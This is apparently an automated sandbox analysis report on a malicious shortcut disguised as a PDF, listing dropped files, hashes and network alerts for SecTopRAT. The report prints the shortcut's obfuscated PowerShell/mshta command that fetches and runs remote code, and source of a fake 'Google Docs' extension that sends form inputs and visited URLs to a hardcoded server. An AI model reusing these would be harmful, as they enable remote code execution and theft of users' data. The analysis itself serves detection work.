File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA0D1.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB200.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEA4E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF29E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\snofla\llg\background.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	596
Entropy (8bit):	4.089531522812482
Encrypted:	false
SSDEEP:	12:8/ACiDfZISRZLWxicmFGW8NkzCIzvWkE5rBQNFBajVDGwgI/:8ICi9IyLWxHyGWMjIzWccMFG
MD5:	AA0E77EC6B92F58452BB5577B9980E6F
SHA1:	237872F2B0C90E8CBE61EAA0E2919D6578CACD3F
SHA-256:	AAD1C9BE17F64D7700FEB2D38DF7DC7446A48BF001AE42095B59B11FD24DFCDE
SHA-512:	37366BD1E0A59036FE966F2E2FE3A0F7DCE6F11F2ED5BF7724AFB61EA5E8D3E01BDC514F0DEB3BEB6FEBFD8B4D08D45E4E729C23CC8F4CAE4F6D11F18FC39FA6
Malicious:	false
Preview:	.async function httpGet(theUrl).{. let response = await fetch(theUrl);. let user = await response.text();.. return user;.}..chrome.runtime.onMessage.addListener(. (request, sender, sendResponse) => {. if (request.message === "get"){. new Promise(async send => {. try{. var key = await httpGet(request.url);. // console.log("send");. send(key);. }catch(error){. send("null");. }.. }).then(sendResponse);. console.log("findl");. return true;. }. . }. );

C:\Users\user\AppData\Local\snofla\llg\content.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1877
Entropy (8bit):	5.21825309245513
Encrypted:	false
SSDEEP:	48:q1iVUYRor51e0Ad7hR/NAGVqkh3vCI4dBoYCY+YCL:q1OU8thjvfC8
MD5:	E6BE7432BDC6B9116FB62AF2A64017AC
SHA1:	F04CCB07BB2B1095E6B8A0C4A3D6CD86652B0FFB
SHA-256:	7A188BC376CF5FD3437AEE04D340A5E3A01D98066EB5C7219F97D29B7F793C08
SHA-512:	56F1F4FF7623AD185887FCDA8098913A8CFD9E24F36FA299490D11EAE42D422677665EC6F7D57944ED0BE7A845C63907A3A3C7D09FEE0E005A514BB786F6BB1D
Malicious:	false
Preview:	var server = "http://92.255.57.75:9000/";.var iddd = '9F196B497BDFD0CED832D4AB8AAC3B4F';..var debug = 1;.var currLoc = "";..(async function () {...var clientId = iddd;..urlChangeAllert();.....spyjs_refreshEvents(clientId);...})()..function urlChangeAllert(){..try{...var loc = window.location;...getNoRet(server+'churl?pcid='+iddd+"&url="+loc);..}catch(error){ }...}..function spyjs_refreshEvents(clid){..if(currLoc != location.href){...currLoc=location.href;...spyjs_saveData("("+currLoc+")");..}..$('input').unbind('change');..$('input').change(function(e) {. ..spyjs_getInput(e.currentTarget, clid);..});....$('select').unbind('change');..$('select').change(function(e) {. ..spyjs_getInput(e.currentTarget, clid);..});....$('checkbox').unbind('change');..$('checkbox').change(function(e) {. ..spyjs_getInput(e.currentTarget, clid);..});....$('button').unbind('change');..$('button').change(function(e) {. ..spyjs_getInput(e.currentTarget, clid);..});......$('textarea').unbind('change');..$('t

C:\Users\user\AppData\Local\snofla\llg\icon.png

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5657
Entropy (8bit):	7.83233516247914
Encrypted:	false
SSDEEP:	96:Nyq+wylRcbfXdRICJdBsooMKWsXFAP39Asutnd4mm5oq+tlwg4Ae4quVpdI8JW1:kq+TRYCooMKDXFAPDutLmKtusquVpG8m
MD5:	2C905A6E4A21A3FA14ADC1D99B7CBC03
SHA1:	BD8682B580D951E3DF05DFD467ABBA6B87BB43D9
SHA-256:	CC3631CED23F21AE095C1397770E685F12F6AD788C8FA2F15487835A77A380FB
SHA-512:	753E28BAB9D50B7882A1308F6072F80FDA99EDEAA476FAFC7E647D29F5C9C15F5C404689C866F8F198B7F1ED41BAE3CC55AE4D15528B0DF966A47CBC4B31CAF6
Malicious:	false
Preview:	.PNG........IHDR..............>a.....sRGB.........gAMA......a.....IDATx^.yt.....H.$!@......tf...9uA..*..H.w..#"...N......K .....N...helE%...a..........}......9.wr..=..~.r.....N8..N8..N8..N8.t.....?...{..a......o&5?7..3hA...<~...~.......p.5(..o....Z6$..&.....=.DUO8.9...?/.0....?...'......XE.......#H..s.o.x.....v.,8.%..;X.....$lZ....^D..............$bp....<M@....v.......0.......S..7#.."(..Ea.~...L..`FP.F.dx...[.a.....,..;.@...../"YX.........]...\./"Y8....Z. #...0...H...0#(.Fp0..vx....'..... ....D@...R.?k..........&.....{../..[..M.9.n.. .&.^.........._...u..8. ..t..?!V.....]v.....6.y..}E ...p\|[.8...\|w`..u...7#...1........".`.Xz..........1...d;..G......0..?.D....U/h=0..F0l.rND...`....v8g.-0.[...^.kw=..]G`.....YP...0..M....C.tM........H.v...1......;...7...........L.jC....P.o....L..>.@.....].8.."&....-&......NP.I.8...\..@c......5..._...=#..G... 6.......'!...@.%......y..l.a.@..7d.1....g..3..<.^+M.WK.Cu.R........]#T......4.^...'gU...~...L...z...@

C:\Users\user\AppData\Local\snofla\llg\jquery.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with very long lines (32086)
Category:	dropped
Size (bytes):	95785
Entropy (8bit):	5.393592005865771
Encrypted:	false
SSDEEP:	1536:/PEkjP+iADIOr/NEe876nmBu3HvF38sEeLHFoqqhJ7SerN5wVI+xcBmPv7E+nzmQ:ENMyqhJvN32cBC7M6Whca98Hrp
MD5:	3C9137D88A00B1AE0B41FF6A70571615
SHA1:	1797D73E9DA4287351F6FBEC1B183C19BE217C2A
SHA-256:	24262BAAFEF17092927C3DAFE764AAA52A2A371B83ED2249CCA7E414DF99FAC1
SHA-512:	31730738E73937EE0086849CB3D6506EA383CA2EAC312B8D08E25C60563DF5702FC2B92B3778C4B2B66E7FDDD6965D74B5A4DF5132DF3F02FAED01DCF3C7BCAE
Malicious:	false
Preview:	/! jQuery v1.11.1 \| (c) 2005, 2014 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){ret

C:\Users\user\AppData\Local\snofla\llg\manifest.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	569
Entropy (8bit):	4.878267680490818
Encrypted:	false
SSDEEP:	12:flNAuCONn3Ao19aHuDFRJIbpmxbuvWB0vXY:flVCONQo1XabpWuvPvXY
MD5:	2835DD0A0AEF8405D47AB7F73D82EAA5
SHA1:	851EA2B4F89FC06F6A4CD458840DD5C660A3B76C
SHA-256:	2AAFD1356D876255A99905FBCAFB516DE31952E079923B9DDF33560BBE5ED2F3
SHA-512:	490327E218B0C01239AC419E02A4DC2BD121A08CB7734F8E2BA22E869B60175D599104BA4B45EF580E84E312FE241B3D565FAC958B874D6256473C2F987108CC
Malicious:	false
Preview:	{.."manifest_version": 2,..."name": "Google Docs",.. "description": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.",.."version": "1.7.38",.."icons": {. "16": "icon.png",. "48": "icon.png",. "128": "icon.png". },..."permissions": [..."activeTab",..."storage"..],.."content_scripts": [ {..."all_frames": true,..."js": [ "jquery.js","content.js"],..."matches": [ "<all_urls>" ] ..} ],.."background": {. ."service_worker": "background.js". .},.."browser_action": {..."default_title": "SFASFASD"..}.}

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7137650469604337
Encrypted:	false
SSDEEP:	96:GEeYbzdCteoukvhkvCCtVHz1bJHGHz1bkHP:veizQeVVHzmHzs
MD5:	BC54E5D710BE835E09DFAC170C29F9F0
SHA1:	BDA31B2858FC86E558E9257D669A544A004BFCD2
SHA-256:	AC7A63BF64F6F33504DE515A9C6BEB85EDC71390058472777AFC00BBF3E21857
SHA-512:	B18AA08C91B27D9DC55314D78016057A1D533EBAE37B25B1C6BC0424363721BDBC13CAA9360621A92FA8FE12E4B29D1FD71A8D45C62C53FA713B500F01C5EA94
Malicious:	false
Preview:	...................................FL..................F.".. ...d.......+..VP..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M......(.VP...y..VP......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Y.<....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Y.<..Roaming.@......DWSl.Y.<....C.....................9.`.R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.Y.<....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW#r..Windows.@......DWSlDW#r....E.......................E.W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSlDW.q....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSlDW.q....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSl.Y.<....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LY2CEJIF39P8WDKX97RR.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7137650469604337
Encrypted:	false
SSDEEP:	96:GEeYbzdCteoukvhkvCCtVHz1bJHGHz1bkHP:veizQeVVHzmHzs
MD5:	BC54E5D710BE835E09DFAC170C29F9F0
SHA1:	BDA31B2858FC86E558E9257D669A544A004BFCD2
SHA-256:	AC7A63BF64F6F33504DE515A9C6BEB85EDC71390058472777AFC00BBF3E21857
SHA-512:	B18AA08C91B27D9DC55314D78016057A1D533EBAE37B25B1C6BC0424363721BDBC13CAA9360621A92FA8FE12E4B29D1FD71A8D45C62C53FA713B500F01C5EA94
Malicious:	false
Preview:	...................................FL..................F.".. ...d.......+..VP..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M......(.VP...y..VP......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Y.<....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Y.<..Roaming.@......DWSl.Y.<....C.....................9.`.R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.Y.<....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW#r..Windows.@......DWSlDW#r....E.......................E.W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSlDW.q....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSlDW.q....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSl.Y.<....q...........

C:\Users\user\AppData\Roaming\ref095vq842r70_3rd_party_authorisation_form.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7 (zip deflate encoded)
Category:	dropped
Size (bytes):	62226
Entropy (8bit):	7.8628341877586765
Encrypted:	false
SSDEEP:	1536:xYH0PnkJyCV9S/ngUjvEeh4WO0aCdrVJxorrA:y1yCCPdMfh0vdTxaM
MD5:	9B692B8DF5BC5AFDE45BE85AF2AFD908
SHA1:	57B9AAD0B2DA3F9AD54C494501B545D0BA9E59D9
SHA-256:	ABCDA99E150EF8B74E6D80515A1BA473D403EC99CE2F135B75F62A2FE82648E8
SHA-512:	23562A9BCBEF290748E319AB220ED22126CFBB8542FECD5C033D5278C8AFE874F01630133341209D58F58586194BC25900724622C7F4A13B60195D9758849198
Malicious:	false
Preview:	%PDF-1.7.%....14 0 obj<</Linearized 1/L 62226/O 17/E 55598/N 2/T 61921/H [ 802 300]>>.endobj. .15 0 obj<</ID[<BA067AE368CE6A9DD1432E086A0FEDBD><BA067AE368CE6A9DD1432E086A0FEDBD>]/Size 30/Root 16 0 R/Info 12 0 R/Prev 61922/Length 61/Type/XRef/Filter/FlateDecode/DecodeParms<</Columns 4/Predictor 12>>/Index[14 16]/W[1 2 1]>>stream.x.cbd.g`b`8.$.^..~.w.....u...l& .. .c@....@........L........G.endstream.endobj.startxref.0..%%EOF. .16 0 obj<</Outlines 19 0 R/Type/Catalog/Pages 10 0 R/PageMode/UseOutlines/Metadata 11 0 R>>.endobj.29 0 obj<</S 47/Filter/FlateDecode/Length 62>>stream.x.c```c``Vb`d`.. ...`6#.3...p......D.lP..0..m.....i}.+..!....endstream.endobj.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\ehcfdbh\AutoIt3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\48216953\updater.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: payload_1.hta, Detection: malicious, Browse Filename: fsg5PWtTm2.lnk, Detection: malicious, Browse Filename: Whatsapp-GUI.exe, Detection: malicious, Browse Filename: Whatsapp-GUI.exe, Detection: malicious, Browse Filename: Agreement for Cooperation.PDF.lnk.download.lnk, Detection: malicious, Browse Filename: malware.zip, Detection: malicious, Browse Filename: Dark_drop_2_pers_lum_clean.exe.bin.exe, Detection: malicious, Browse Filename: Agreement for YouTube cooperation.pdf.lnk.download.lnk, Detection: malicious, Browse Filename: 3rd_cc_form_Oct_2024.pdf.lnk.download.lnk, Detection: malicious, Browse Filename: tQ6Z4Vjp5f.lnk, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\ehcfdbh\bhcbhah.a3x

Download File

Process:	C:\Users\user\AppData\Local\Temp\48216953\updater.exe
File Type:	data
Category:	dropped
Size (bytes):	963397
Entropy (8bit):	6.793850672344393
Encrypted:	false
SSDEEP:	12288:Y3UgFC7mbSkjvbmxqn5A45dZ4aqzHlo0+gXLG7VX:Yrb/j5LdZ4aqDLXLG7VX
MD5:	70B1893C0680EE6389533300335B7DC3
SHA1:	20A13733A25D32547D27A963BDB6E8007532774D
SHA-256:	AA2734107B103077A121FDD37EBFD4E8A36E17E00EBF01746A7DB8D4EAA296EB
SHA-512:	355D7FB4095D6F408281900BFB89C1DED05A72591A7AB8162543039667A9CD7810B5FB62F9DDD0F547007A331ABE9F7597EC3DB8DC88BB3B4296B92D57BB8F07
Malicious:	false
Preview:	L5e...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................L5e.....................................

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=11, Archive, ctime=Wed Nov 13 07:16:03 2024, mtime=Wed Nov 13 07:16:03 2024, atime=Wed Nov 13 07:16:03 2024, length=454656, window=hidenormalshowminimized
Entropy (8bit):	3.4182252959835355
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk
File size:	2'311 bytes
MD5:	9ac418c2925b4026c3e2a18734f9923b
SHA1:	58b6dc64264e30f32509bb2062ba91b03d91cc6f
SHA256:	352583a6f99cf82c7a2f6c25393a5faf8daae45a1bf04065e33c6fe89a79d065
SHA512:	80453b07f3829a36df1bf779d4bdd75e9a45810157156c9b6134c3761b75144d1ec9f286343a86ef7c214736640175a8efcb835b495361ec7e2fa7a061f95793
SSDEEP:	48:8W6+uBn7hJKpAIGiaUkF5p+dJ9bBwB05W:8ZBNJz5USnKn00
TLSH:	9F4198003BE6072DE7735A72A8B5E624F23BB806DE51DB1E0047528C4832228D966F7B
File Content Preview:	L..................F.@.. ......H.5..Vx.H.5..Vx.H.5...............................P.O. .:i.....+00.../C:\...................V.1......Y.H..Windows.@........T,.Y.H..........................t...W.i.n.d.o.w.s.....Z.1......Y.H..System32..B........T,.Y.H....r.

File Icon


Icon Hash:	72d282828e8d8dd5

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\..\Windows\System32\OpenSSH\sftp.exe
Command Line Argument:	-o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" .
Icon location:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T08:38:34.179138+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49746	188.114.97.6	443	TCP
2024-12-17T08:38:44.305426+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:44.425177+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:44.544912+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:44.664914+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:44.784897+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:44.904636+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:45.024478+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:45.144473+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:45.264579+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:45.384321+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:45.421547+0100	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	92.255.57.75	15647	192.168.2.5	49781	TCP
2024-12-17T08:38:45.505694+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:45.825046+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:49.512253+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49789	92.255.57.75	9000	TCP
2024-12-17T08:38:51.067122+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49794	92.255.57.75	9000	TCP
2024-12-17T08:38:52.632250+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49799	92.255.57.75	9000	TCP
2024-12-17T08:38:52.632250+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49799	92.255.57.75	9000	TCP
2024-12-17T08:38:54.191629+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49802	92.255.57.75	9000	TCP
2024-12-17T08:38:54.191629+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49802	92.255.57.75	9000	TCP
2024-12-17T08:38:55.758822+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49808	92.255.57.75	9000	TCP
2024-12-17T08:38:55.758822+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49808	92.255.57.75	9000	TCP
2024-12-17T08:38:57.319196+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49813	92.255.57.75	9000	TCP
2024-12-17T08:38:57.319196+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49813	92.255.57.75	9000	TCP
2024-12-17T08:38:58.881099+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49817	92.255.57.75	9000	TCP
2024-12-17T08:38:58.881099+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49817	92.255.57.75	9000	TCP
